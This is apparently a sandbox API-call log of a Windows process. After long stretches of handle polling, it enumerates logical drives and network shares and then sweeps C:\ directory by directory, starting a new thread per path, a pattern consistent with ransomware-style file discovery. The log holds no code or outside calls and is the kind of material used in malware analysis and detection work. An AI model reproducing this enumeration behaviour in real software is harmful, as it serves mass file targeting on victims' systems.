[0054.571] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.571] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.571] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.571] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.571] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.571] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.571] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.571] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.571] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.571] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.571] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.572] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.572] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.572] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.572] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.572] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.572] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.572] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.572] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.572] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.572] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.572] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.572] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.572] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.572] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.572] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.572] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.572] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.572] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.572] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.573] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.574] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.574] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.574] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.574] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.574] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.574] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.574] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.574] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.574] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.574] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.574] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.574] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.574] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.574] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.574] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.574] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.574] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.574] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.574] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.575] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.576] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.577] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.577] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.577] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.577] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.577] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.577] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.577] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0062.266] CloseHandle (hObject=0x424) returned 1 Thread: id = 8 os_tid = 0x7a8 [0054.679] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0054.679] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc) returned 0x33d1260 [0054.679] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x33d1260 | out: lpBuffer="C:\\") returned 0x4 [0054.679] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8) returned 0x33fb5d8 [0054.679] wcscpy (in: _Dest=0x33fb5d8, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0054.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fb5d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300 [0054.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d1260) returned 1 [0054.916] RtlExitUserThread (Status=0x0) Thread: id = 9 os_tid = 0xd98 [0054.679] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x53afd54 | out: lphEnum=0x53afd54*=0x33dffd8) returned 0x0 [0058.418] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x1024) returned 0x3425a58 [0058.418] WNetEnumResourceW (in: hEnum=0x33dffd8, lpcCount=0x53afd58, lpBuffer=0x3425a58, lpBufferSize=0x53afd60 | out: lpcCount=0x53afd58, lpBuffer=0x3425a58, lpBufferSize=0x53afd60) returned 0x0 [0058.418] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x3425a58, lphEnum=0x53afd1c | out: lphEnum=0x53afd1c*=0x33d8600) returned 0x0 [0058.419] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x1024) returned 0x3426a88 [0058.419] WNetEnumResourceW (in: hEnum=0x33d8600, lpcCount=0x53afd20, lpBuffer=0x3426a88, lpBufferSize=0x53afd28 | out: lpcCount=0x53afd20, lpBuffer=0x3426a88, lpBufferSize=0x53afd28) returned 0x103 [0058.419] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426a88) returned 1 [0058.419] WNetCloseEnum (hEnum=0x33d8600) returned 0x0 [0058.419] WNetOpenEnumW (dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x3425a78, lphEnum=0x53afd1c) Thread: id = 11 os_tid = 0xda8 [0055.291] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc) returned 0x341a320 [0055.291] wcscpy (in: _Dest=0x341a320, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0055.292] wcscat (in: _Dest=0x341a320, _Source="*" | out: _Dest="C:\\*") returned="C:\\*" [0055.292] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33e2008 [0055.292] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x33dfe18 [0055.292] wcscmp (_String1="$GetCurrent", _String2=".") returned -1 [0055.292] wcscmp (_String1="$GetCurrent", _String2="..") returned -1 [0055.294] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4bc0 [0055.294] wcscpy (in: _Dest=0x33e4bc0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0055.294] wcscat (in: _Dest=0x33e4bc0, _Source="$GetCurrent" | out: _Dest="C:\\$GetCurrent") returned="C:\\$GetCurrent" [0055.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e4bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x324 [0055.385] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0055.385] wcscmp (_String1="$Recycle.Bin", _String2=".") returned -1 [0055.385] wcscmp (_String1="$Recycle.Bin", _String2="..") returned -1 [0055.385] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0055.385] wcscmp (_String1="$WINRE_BACKUP_PARTITION.MARKER", _String2=".") returned -1 [0055.385] wcscmp (_String1="$WINRE_BACKUP_PARTITION.MARKER", _String2="..") returned -1 [0055.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x46) returned 0x33d2758 [0055.385] wcscpy (in: _Dest=0x33d2758, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0055.385] wcscat (in: _Dest=0x33d2758, _Source="$WINRE_BACKUP_PARTITION.MARKER" | out: _Dest="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned="C:\\$WINRE_BACKUP_PARTITION.MARKER" [0055.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33d2758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x328 [0055.386] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0055.386] wcscmp (_String1="588bce7c90097ed212", _String2=".") returned 1 [0055.386] wcscmp (_String1="588bce7c90097ed212", _String2="..") returned 1 [0055.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2e) returned 0x33c85a0 [0055.386] wcscpy (in: _Dest=0x33c85a0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0055.386] wcscat (in: _Dest=0x33c85a0, _Source="588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0055.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33c85a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x32c [0055.386] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0055.387] wcscmp (_String1="Boot", _String2=".") returned 1 [0055.387] wcscmp (_String1="Boot", _String2="..") returned 1 [0055.387] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0055.387] wcscmp (_String1="bootmgr", _String2=".") returned 1 [0055.387] wcscmp (_String1="bootmgr", _String2="..") returned 1 [0055.387] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0055.387] wcscmp (_String1="BOOTNXT", _String2=".") returned 1 [0055.387] wcscmp (_String1="BOOTNXT", _String2="..") returned 1 [0055.387] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0055.387] wcscmp (_String1="BOOTSECT.BAK", _String2=".") returned 1 [0055.387] wcscmp (_String1="BOOTSECT.BAK", _String2="..") returned 1 [0055.387] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0055.387] wcscmp (_String1="Documents and Settings", _String2=".") returned 1 [0055.387] wcscmp (_String1="Documents and Settings", _String2="..") returned 1 [0055.387] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33dfc18 [0055.387] wcscpy (in: _Dest=0x33dfc18, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0055.387] wcscat (in: _Dest=0x33dfc18, _Source="Documents and Settings" | out: _Dest="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0055.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33dfc18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x330 [0055.388] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0055.388] wcscmp (_String1="ESD", _String2=".") returned 1 [0055.388] wcscmp (_String1="ESD", _String2="..") returned 1 [0055.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10) returned 0x341a200 [0055.388] wcscpy (in: _Dest=0x341a200, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0055.388] wcscat (in: _Dest=0x341a200, _Source="ESD" | out: _Dest="C:\\ESD") returned="C:\\ESD" [0055.388] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x341a200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x334 [0055.388] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3d7ebe9, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0055.388] wcscmp (_String1="hiberfil.sys", _String2=".") returned 1 [0055.388] wcscmp (_String1="hiberfil.sys", _String2="..") returned 1 [0055.388] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0055.388] wcscmp (_String1="Logs", _String2=".") returned 1 [0055.388] wcscmp (_String1="Logs", _String2="..") returned 1 [0055.389] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12) returned 0x33e1b30 [0055.389] wcscpy (in: _Dest=0x33e1b30, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0055.389] wcscat (in: _Dest=0x33e1b30, _Source="Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0055.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e1b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x338 [0055.389] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0055.389] wcscmp (_String1="pagefile.sys", _String2=".") returned 1 [0055.389] wcscmp (_String1="pagefile.sys", _String2="..") returned 1 [0055.389] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0055.389] wcscmp (_String1="PerfLogs", _String2=".") returned 1 [0055.389] wcscmp (_String1="PerfLogs", _String2="..") returned 1 [0055.389] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x61c7afed, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x61c7afed, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0055.389] wcscmp (_String1="Program Files", _String2=".") returned 1 [0055.389] wcscmp (_String1="Program Files", _String2="..") returned 1 [0055.389] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x33e2008 | out: lpFindFileData=0x33e2008*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0055.390] wcscmp (_String1="Program Files (x86)", _String2=".") returned 1 [0055.390] wcscmp 